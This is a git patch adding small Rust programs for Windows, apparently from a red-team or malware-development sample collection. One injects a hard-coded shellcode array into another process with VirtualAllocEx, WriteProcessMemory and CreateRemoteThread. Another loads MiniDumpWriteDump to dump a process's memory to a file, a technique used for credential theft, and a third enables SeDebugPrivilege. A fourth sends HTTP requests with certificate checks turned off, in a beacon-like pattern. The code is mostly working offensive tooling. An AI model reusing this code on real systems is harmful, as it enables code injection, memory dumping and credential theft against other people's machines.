From 8bb1f90d08fabf859bc35b855c59be3383bb9c06 Mon Sep 17 00:00:00 2001 From: trickster0 Date: Mon, 27 Sep 2021 19:04:20 +0300 Subject: [PATCH] Update4 --- EnableDebugPrivileges/Cargo.toml | 9 ++++++ EnableDebugPrivileges/src/main.rs | 20 +++++++++++++ ImportedFunctionCall/Cargo.toml | 10 +++++++ ImportedFunctionCall/src/main.rs | 23 ++++++++++++++ Process_Injection_CreateThread/Cargo.toml | 10 +++++++ Process_Injection_CreateThread/src/main.rs | 35 ++++++++++++++++++++++ http-https-requests/Cargo.toml | 9 ++++++ http-https-requests/src/main.rs | 14 +++++++++ 8 files changed, 130 insertions(+) create mode 100644 EnableDebugPrivileges/Cargo.toml create mode 100644 EnableDebugPrivileges/src/main.rs create mode 100644 ImportedFunctionCall/Cargo.toml create mode 100644 ImportedFunctionCall/src/main.rs create mode 100644 Process_Injection_CreateThread/Cargo.toml create mode 100644 Process_Injection_CreateThread/src/main.rs create mode 100644 http-https-requests/Cargo.toml create mode 100644 http-https-requests/src/main.rs diff --git a/EnableDebugPrivileges/Cargo.toml b/EnableDebugPrivileges/Cargo.toml new file mode 100644 index 0000000..d0302c0 --- /dev/null +++ b/EnableDebugPrivileges/Cargo.toml @@ -0,0 +1,9 @@ +[package] +name = "EnableDebugPrivileges" +version = "0.1.0" +edition = "2018" +author = "trickster0" +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html + +[dependencies] +winapi = {version = "0.3.9", features =["processthreadsapi","winnt","winbase","securitybaseapi"]} diff --git a/EnableDebugPrivileges/src/main.rs b/EnableDebugPrivileges/src/main.rs new file mode 100644 index 0000000..02662da --- /dev/null +++ b/EnableDebugPrivileges/src/main.rs @@ -0,0 +1,20 @@ +extern crate winapi; +use winapi::um::processthreadsapi::{OpenProcessToken,GetCurrentProcess}; +use winapi::um::winnt::{HANDLE,TOKEN_ADJUST_PRIVILEGES,TOKEN_QUERY,LUID_AND_ATTRIBUTES,SE_PRIVILEGE_ENABLED,TOKEN_PRIVILEGES}; +use std::ptr::null_mut; +use std::mem::size_of; +use winapi::shared::ntdef::LUID; +use winapi::um::securitybaseapi::AdjustTokenPrivileges; +use winapi::um::winbase::LookupPrivilegeValueA; + +fn main() { + unsafe{ + let mut h_token: HANDLE = 0 as _; + OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,&mut h_token); + let privs = LUID_AND_ATTRIBUTES {Luid: LUID { LowPart: 0, HighPart: 0,},Attributes: SE_PRIVILEGE_ENABLED,}; + let mut tp = TOKEN_PRIVILEGES {PrivilegeCount: 1,Privileges: [privs ;1],}; + let privilege = "SeDebugPrivilege\0"; + let _ = LookupPrivilegeValueA(null_mut(),privilege.as_ptr() as *const i8,&mut tp.Privileges[0].Luid,); + let _ = AdjustTokenPrivileges(h_token,0,&mut tp,size_of::() as _,null_mut(),null_mut()); + } +} diff --git a/ImportedFunctionCall/Cargo.toml b/ImportedFunctionCall/Cargo.toml new file mode 100644 index 0000000..3453b20 --- /dev/null +++ b/ImportedFunctionCall/Cargo.toml @@ -0,0 +1,10 @@ +[package] +name = "ImportedFunctionCall" +version = "0.1.0" +edition = "2018" +author = "trickster0" +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html + +[dependencies] +kernel32-sys = "0.2.2" +winapi = {version = "0.3.9", features =["processthreadsapi","winnt", "fileapi"]} diff --git a/ImportedFunctionCall/src/main.rs b/ImportedFunctionCall/src/main.rs new file mode 100644 index 0000000..7990c9c --- /dev/null +++ b/ImportedFunctionCall/src/main.rs @@ -0,0 +1,23 @@ +extern crate winapi; +extern crate kernel32; +use winapi::um::processthreadsapi::{OpenProcess,GetCurrentProcess}; +use winapi::um::fileapi::{CreateFileA,CREATE_ALWAYS}; +use winapi::um::winnt::{PROCESS_ALL_ACCESS,GENERIC_ALL,FILE_ATTRIBUTE_NORMAL,HANDLE}; +use std::ptr::null_mut; + + +fn main() { + + unsafe { + let minidump: extern "stdcall" fn(HANDLE, u32, HANDLE, u32,*const (),*const (),*const ()); + let hndls = OpenProcess(PROCESS_ALL_ACCESS,0,1234); + let modu = "dbghelp.dll\0"; + let handle = kernel32::LoadLibraryA(modu.as_ptr() as *const i8); + let mthd = "MiniDumpWriteDump\0"; + let mini = kernel32::GetProcAddress(handle, mthd.as_ptr() as *const i8); + minidump = std::mem::transmute(mini); + let path = "C:\\Users\\Public\\test.dmp\0"; + let fd = CreateFileA(path.as_ptr() as _,GENERIC_ALL,0,null_mut(),CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,null_mut()); + minidump(GetCurrentProcess(),1234,fd,0x00000002,null_mut(),null_mut(),null_mut()) + } +} diff --git a/Process_Injection_CreateThread/Cargo.toml b/Process_Injection_CreateThread/Cargo.toml new file mode 100644 index 0000000..70501dc --- /dev/null +++ b/Process_Injection_CreateThread/Cargo.toml @@ -0,0 +1,10 @@ +[package] +name = "Process_Injection_CreateThread" +version = "0.1.0" +edition = "2018" +author = "trickster0" +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html + +[dependencies] +kernel32-sys = "0.2.2" +winapi = {version = "0.3.9", features = ["winnt"] } diff --git a/Process_Injection_CreateThread/src/main.rs b/Process_Injection_CreateThread/src/main.rs new file mode 100644 index 0000000..8abb4e8 --- /dev/null +++ b/Process_Injection_CreateThread/src/main.rs @@ -0,0 +1,35 @@ +extern crate kernel32; +use winapi::um::winnt::{PROCESS_ALL_ACCESS,MEM_COMMIT,MEM_RESERVE,PAGE_EXECUTE_READWRITE}; +use std::ptr; + +fn main() { + let test : [u8;276] = [0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52, +0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48, +0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9, +0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41, +0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48, +0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01, +0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48, +0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0, +0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c, +0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0, +0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04, +0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59, +0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48, +0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00, +0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f, +0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff, +0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb, +0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c, +0x63,0x2e,0x65,0x78,0x65,0x00]; + + unsafe { + let mut h = kernel32::OpenProcess(PROCESS_ALL_ACCESS, winapi::shared::ntdef::FALSE.into(), 31736); + let mut addr = kernel32::VirtualAllocEx(h,ptr::null_mut(),test.len() as u64,MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE); + let mut n = 0; + kernel32::WriteProcessMemory(h,addr,test.as_ptr() as _, test.len() as u64,&mut n); + let mut hThread = kernel32::CreateRemoteThread(h,ptr::null_mut(),0,Some(std::mem::transmute(addr)), ptr::null_mut(), 0,ptr::null_mut()); + kernel32::CloseHandle(h); + } +} + diff --git a/http-https-requests/Cargo.toml b/http-https-requests/Cargo.toml new file mode 100644 index 0000000..78f924b --- /dev/null +++ b/http-https-requests/Cargo.toml @@ -0,0 +1,9 @@ +[package] +name = "http-https-requests" +version = "0.1.0" +edition = "2018" +author = "trickster0" +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html + +[dependencies] +reqwest = {version = "0.11.4", features = ["blocking"]} diff --git a/http-https-requests/src/main.rs b/http-https-requests/src/main.rs new file mode 100644 index 0000000..59263eb --- /dev/null +++ b/http-https-requests/src/main.rs @@ -0,0 +1,14 @@ +extern crate reqwest; + +fn main() { + + let client = reqwest::blocking::Client::builder().danger_accept_invalid_certs(true).build().unwrap(); + let _response = client.post("https://google.com/test").header("Authorization", "testtest" ).body("test").send(); + let test = _response.unwrap().text().unwrap(); + let client2 = reqwest::blocking::Client::builder().danger_accept_invalid_certs(true).build().unwrap(); + let url = "https://google.com"; + let argumentsdata = format!("register={}","1234"); + let concat = [url,&argumentsdata].join("/"); + client2.get(&concat).send(); + +}